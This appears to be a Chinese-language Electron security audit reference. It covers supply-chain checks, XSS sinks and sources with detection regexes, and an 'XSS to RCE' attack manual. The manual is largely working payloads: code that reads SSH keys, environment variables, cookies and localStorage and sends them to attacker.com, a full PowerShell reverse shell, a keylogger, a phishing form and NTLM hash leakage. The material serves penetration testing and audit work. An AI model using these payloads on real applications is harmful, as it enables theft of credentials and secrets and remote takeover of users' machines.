  [高危] 更新服务器使用 HTTP（MITM 可注入恶意更新）
  [高危] 未校验更新包签名
  [高危] 更新 URL 硬编码且可被 DNS 劫持
  [中危] 更新通道未加密
  [中危] 降级攻击（可推送旧版本）

electron-updater 配置检查:
  - publish 配置中的 URL 是否 HTTPS
  - 是否配置了 publisherName（代码签名校验）
  - 是否有 verifyUpdateCodeSignature 设置
```

### 3.3 远程内容加载

```
搜索: loadURL('http / loadURL('https / BrowserWindow + url

[高危] 主窗口加载远程 URL + nodeIntegration: true
  → 远程服务器被入侵 = 所有客户端 RCE

[中危] 加载远程 URL 但有 contextIsolation
  → 仍有 XSS 风险，但不直接 RCE

[安全] 加载本地文件:
  loadURL(`file://${__dirname}/index.html`)
```

## 四、Layer 5 产出模板

```
[供应链审计报告]

一、NPM 依赖:
  - 依赖总数: X 个
  - 已知漏洞: X 高危 / Y 中危 / Z 低危
  - 高危依赖: [列表，含 CVE 编号]
  - 废弃依赖: [列表]

二、Electron 版本:
  - 当前版本: X.X.X
  - Chromium 版本: XXX
  - 是否在支持范围: [是/否]
  - 已知 CVE: [列表]

三、Native 模块:
  - 模块清单: [文件名 + 用途 + 签名状态]
  - DLL 劫持风险: [是/否，详情]
  - 需要逆向分析的模块: [列表]

四、外部资源:
  - CDN 依赖: [列表，SRI 状态]
  - 自动更新: [安全/不安全，详情]
  - 远程内容加载: [URL 列表]

风险总结: X 高危 / Y 中危 / Z 低危
```


path: references/XSS_TO_RCE.md
content: # XSS → RCE 攻击链手册

## 概述

在传统 Web 应用中，XSS 通常只能窃取 Cookie 或执行有限操作。但在 Electron 应用中，根据安全配置不同，XSS 可以直接升级为 **远程代码执行（RCE）**，控制用户整台机器。

---

## 一、XSS → RCE 决策树

```
发现 XSS Sink
    ↓
检查 nodeIntegration
    ├── true → [严重] 直接 RCE（场景 1）
    └── false
         ↓
    检查 contextIsolation
         ├── false → [严重] 原型链污染 → RCE（场景 2）
         └── true
              ↓
         检查 contextBridge 暴露面
              ├── 暴露了 exec/require/fs → [严重] Bridge RCE（场景 3）
              ├── 暴露了通用 IPC → [高危] IPC 利用（场景 4）
              ├── 暴露了 shell.openExternal → [高危] 程序执行（场景 5）
              └── 暴露面有限 → [中危] 受限利用（场景 6）
```

---

## 二、XSS Sink 完整列表

### 2.1 原生 DOM

| Sink | 风险 | 检测 Pattern |
|:-----|:-----|:-------------|
| `element.innerHTML = userInput` | 高 | `\.innerHTML\s*=` |
| `element.outerHTML = userInput` | 高 | `\.outerHTML\s*=` |
| `document.write(userInput)` | 高 | `document\.write\(` |
| `document.writeln(userInput)` | 高 | `document\.writeln\(` |
| `element.insertAdjacentHTML(pos, userInput)` | 高 | `\.insertAdjacentHTML\(` |
| `DOMParser.parseFromString(userInput)` | 中 | `parseFromString\(` |
| `Range.createContextualFragment(userInput)` | 中 | `createContextualFragment\(` |

### 2.2 JavaScript 执行

| Sink | 风险 | 检测 Pattern |
|:-----|:-----|:-------------|
| `eval(userInput)` | 高 | `\beval\(` |
| `Function(userInput)()` | 高 | `\bFunction\(` |
| `setTimeout(userInput, delay)` | 高 | `setTimeout\(` + 字符串参数 |
| `setInterval(userInput, delay)` | 高 | `setInterval\(` + 字符串参数 |
| `script.src = userInput` | 高 | `\.src\s*=` |
| `script.textContent = userInput` | 高 | `\.textContent\s*=` + script |
| `new Worker(userInput)` | 中 | `new Worker\(` |

### 2.3 Vue.js

| Sink | 风险 | 检测 Pattern |
|:-----|:-----|:-------------|
| `v-html="userInput"` | 高 | `v-html=` |
| `compile(userTemplate)` | 高 | `compile\(` / `template:` 动态值 |
| `:href="userInput"` | 中 | `:href=` / `v-bind:href=` |
| `:src="userInput"` | 中 | `:src=` / `v-bind:src=` |
| `v-on:[userInput]` | 中 | `v-on:\[` |

### 2.4 React

| Sink | 风险 | 检测 Pattern |
|:-----|:-----|:-------------|
| `dangerouslySetInnerHTML={{__html: userInput}}` | 高 | `dangerouslySetInnerHTML` |
| `href={userInput}` | 中 | `href=\{` + javascript: 可能 |
| `src={userInput}` | 中 | `src=\{` |

### 2.5 jQuery

| Sink | 风险 | 检测 Pattern |
|:-----|:-----|:-------------|
| `$(selector).html(userInput)` | 高 | `\.html\(` |
| `$(selector).append(userInput)` | 高 | `\.append\(` |
| `$(selector).prepend(userInput)` | 高 | `\.prepend\(` |
| `$(selector).after(userInput)` | 高 | `\.after\(` |
| `$(selector).before(userInput)` | 高 | `\.before\(` |
| `$(userInput)` 当参数以 `<` 开头 | 高 | `\$\(` + 动态参数 |
| `$(selector).attr('href', userInput)` | 中 | `\.attr\(` |

---

## 三、XSS Source 列表

### 3.1 Electron 特有 Source

| Source | 来源 | 风险 | 备注 |
|:-------|:-----|:-----|:-----|
| IPC 消息 | `ipcRenderer.on(ch, (e, data) => ...)` | 高 | data 可能未经消毒 |
| Deep Link 参数 | `app.on('open-url', (e, url) => ...)` | 高 | 外部可控 |
| 自定义协议参数 | `protocol.handle` 的请求参数 | 高 | 外部可控 |
| 剪贴板 | `clipboard.readText()` / `readHTML()` | 中 | 用户可控 |
| 拖拽 | `drop` 事件的 `dataTransfer` | 中 | 用户可控 |
| 本地文件读取 | `fs.readFileSync()` 的返回值 | 中 | 内容可控 |
| 命令行参数 | `process.argv` | 低 | 本地可控 |

### 3.2 Web 通用 Source

| Source | 来源 | 风险 |
|:-------|:-----|:-----|
| URL 参数 | `location.search` / `location.hash` | 高 |
| 用户输入 | `input.value` / `textarea.value` | 高 |
| postMessage | `window.addEventListener('message', ...)` | 高 |
| WebSocket | `ws.onmessage` | 中 |
| API 响应 | `fetch/XHR` 返回的数据 | 中 |
| localStorage | `localStorage.getItem()` | 中 |

---

## 四、RCE 利用链详解

### 场景 1: nodeIntegration: true — 直接 RCE

**条件**: `nodeIntegration: true`（最危险的配置）

```javascript
// PoC 1: 弹计算器（Windows）
<img src=x onerror="require('child_process').exec('calc')">

// PoC 2: 弹计算器（macOS）
<img src=x onerror="require('child_process').exec('open -a Calculator')">

// PoC 3: 读取敏感文件
<img src=x onerror="document.body.innerText=require('fs').readFileSync('/etc/passwd','utf8')">

// PoC 4: 窃取 SSH 密钥
<img src=x onerror="
  const os = require('os');
  const fs = require('fs');
  const path = require('path');
  const keyPath = path.join(os.homedir(), '.ssh', 'id_rsa');
  try {
    const key = fs.readFileSync(keyPath, 'utf8');
    new Image().src = 'https://attacker.com/log?key=' + encodeURIComponent(key);
  } catch(e) {}
">

// PoC 5: 窃取环境变量（常含密钥）
<img src=x onerror="
  new Image().src = 'https://attacker.com/log?env=' + btoa(JSON.stringify(process.env));
">

// PoC 6: 反弹 Shell（仅用于授权渗透测试）
// Windows PowerShell
<img src=x onerror="require('child_process').exec('powershell -nop -c \"$client = New-Object Net.Sockets.TCPClient(\\\"attacker.com\\\",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \\\"PS \\\" + (pwd).Path + \\\"> \\\";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"')">
```

**注意**: CSP 对 `require()` 无效。即使有严格的 CSP 策略，`nodeIntegration: true` 时 XSS 仍然可以 RCE。

### 场景 2: contextIsolation: false — 原型链污染

**条件**: `nodeIntegration: false` + `contextIsolation: false`

```javascript
// 原型链污染攻击 — 需要根据具体 preload 代码调整

// 通用探测: 检查是否可以访问 preload 注入的对象
console.log(typeof require);       // function → 直接可用
console.log(typeof process);       // object → 直接可用
console.log(typeof __dirname);     // string → contextIsolation off

// 如果 require 直接可用:
require('child_process').exec('calc');

// 如果 require 不直接可用，但 process 可用:
process.mainModule.require('child_process').exec('calc');

// 如果 process 也不直接可用，尝试原型链污染:
// 步骤 1: 找到 preload 中使用 require 的代码路径
// 步骤 2: 通过原型链污染影响其行为
// 这需要分析具体的 preload 代码
```

### 场景 3: contextBridge 暴露了危险 API

**条件**: `contextIsolation: true` + Bridge 暴露了敏感操作

```javascript
// 如果暴露了命令执行:
<img src=x onerror="window.electronAPI.execute('calc')">
<img src=x onerror="window.api.runCommand('calc')">
<img src=x onerror="window.bridge.exec('whoami')">

// 如果暴露了文件读取:
<img src=x onerror="window.api.readFile('/etc/passwd').then(d=>document.body.innerText=d)">

// 如果暴露了 shell.openExternal:
<img src=x onerror="window.api.openURL('file:///C:/Windows/System32/calc.exe')">
```

### 场景 4: 通用 IPC 通道

**条件**: Bridge 暴露了通用 IPC 发送功能

```javascript
// 如果 Bridge 是 window.api.invoke(channel, data):
// 通过枚举主进程的 ipcMain.handle 找到危险 channel

<img src=x onerror="
  window.api.invoke('shell-exec', {cmd: 'calc'});
">

<img src=x onerror="
  window.api.invoke('read-file', {path: '/etc/passwd'}).then(d => {
    document.body.innerText = d;
  });
">
```

### 场景 5: shell.openExternal

```javascript
// 如果 Bridge 暴露了 openExternal:

// 执行本地程序
<img src=x onerror="window.api.openURL('file:///C:/Windows/System32/calc.exe')">

// NTLM Hash 泄露
<img src=x onerror="window.api.openURL('\\\\attacker.com\\share')">
```

### 场景 6: 受限利用

```javascript
// 即使 Bridge 暴露面有限，XSS 仍然可以:

// 1. 窃取 Cookie
<img src=x onerror="new Image().src='https://attacker.com/?c='+document.cookie">

// 2. 窃取 localStorage
<img src=x onerror="new Image().src='https://attacker.com/?ls='+btoa(JSON.stringify(localStorage))">

// 3. 键盘记录
<img src=x onerror="document.onkeypress=e=>new Image().src='https://attacker.com/?k='+e.key">

// 4. 钓鱼（替换页面内容）
<img src=x onerror="document.body.innerHTML='<h1>Session expired</h1><form action=https://attacker.com/phish><input name=user placeholder=Username><input name=pass type=password placeholder=Password><button>Login</button></form>'">
```

---

## 五、CSP 在 Electron 中的特殊行为

### 5.1 CSP 无法阻止的操作

| 操作 | CSP 能否阻止 | 原因 |
|:-----|:------------|:-----|
| `require('child_process')` | **不能** | Node.js 模块系统不受 CSP 限制 |
| `contextBridge API 调用` | **不能** | JS 函数调用不受 CSP 影响 |
| `ipcRenderer.invoke()` | **不能** | IPC 通信不受 CSP 影响 |
| `<script>alert(1)</script>` | 能 | 内联脚本受 CSP 限制 |
| `<img src=x onerror=...>` | 能 | 事件处理器受 CSP 限制（unsafe-inline） |
| `eval()` | 能 | 受 unsafe-eval 限制 |

### 5.2 CSP 绕过场景

```
场景 1: nodeIntegration: true
  CSP 对 require() 无效
  即使有最严格的 CSP，XSS + require = RCE

场景 2: CSP 有 unsafe-inline
  所有内联脚本和事件处理器可执行

场景 3: CSP 有 unsafe-eval
  eval / Function / setTimeout(string) 可用

场景 4: CSP 允许特定 CDN
  如果允许的 CDN 上有 JSONP 端点或可控内容
  可通过 script-src 加载恶意代码

场景 5: 无 CSP（最常见）
  Electron 应用默认不设置 CSP
  → 完全不受限
```

---

## 六、Sink-Source 追踪方法

### 6.1 静态追踪

```
1. 从 Sink 向上追溯:
   找到 innerHTML = xxx
   → xxx 变量在哪赋值？
   → 赋值来源是 API 响应? IPC 消息? 用户输入?
   → 中间有没有 sanitize/escape 处理?

2. 从 Source 向下追踪:
   找到 ipcRenderer.on('message', (e, data) => ...)
   → data 在 handler 中如何使用？
   → 是否传给了 innerHTML/v-html 等 Sink？
   → 中间有没有消毒处理？

3. 跨文件追踪:
   通过 import/require/IPC 通道名关联
   Source 文件 → 处理文件 → Sink 文件
```

### 6.2 动态追踪（配合 js-reverse MCP）

```
1. 在 Sink 处设置断点:
   set_breakpoint(file, line)

2. 触发功能（输入数据/发送消息等）

3. 断点命中后:
   evaluate_on_callframe 检查变量值
   查看调用栈确认数据来源

4. 逐帧分析数据流
```

### 6.3 审计优先级

```
优先级排序（从高到低）:

① nodeIntegration:true 窗口中的 XSS Sink
   → 直接 RCE，最高优先级

② contextIsolation:false 环境中的 XSS Sink
   → 原型链污染 → RCE

③ 有危险 Bridge 暴露的页面中的 XSS Sink
   → 通过 Bridge → RCE

④ 自定义协议 handler 中的参数注入
   → 外部可触发的 XSS

⑤ IPC 消息中的未消毒数据 → DOM Sink
   → 需要控制 IPC 来源

⑥ API 响应中的未消毒数据 → DOM Sink
   → 需要控制/劫持 API
```

---

## 七、产出模板

```markdown
## XSS → RCE 分析

### 安全模型

| 配置 | 值 | 影响 |
|:-----|:---|:-----|
| nodeIntegration | true/false | |
| contextIsolation | true/false | |
| sandbox | true/false | |
| CSP | 有/无 + 具体策略 | |
| Bridge 暴露面 | [方法列表] | |

### 发现的 XSS Sink

| # | 文件:行号 | Sink 类型 | 所在页面的安全模型 | RCE 可能性 |
|---|:---------|:----------|:------------------|:----------|
| 1 | xxx.js:YY | innerHTML | nodeIntegration:true | 严重 |

### 完整利用链

=== [C-ELECTRON-XXX] XSS → RCE ===

Source: [数据来源]
  ↓ [传递过程]
Sink: [具体 Sink 代码]
  ↓ [利用方式]
RCE: [代码执行方式]

验证 PoC:
```html
[可直接复现的 PoC]
```

前置条件:
  - [x] 条件 1
  - [x] 条件 2

影响: [能做什么]
```


Security scan verdicts — ClawScan: malicious | static analysis: clean | VirusTotal: suspicious | SkillSpector:  ()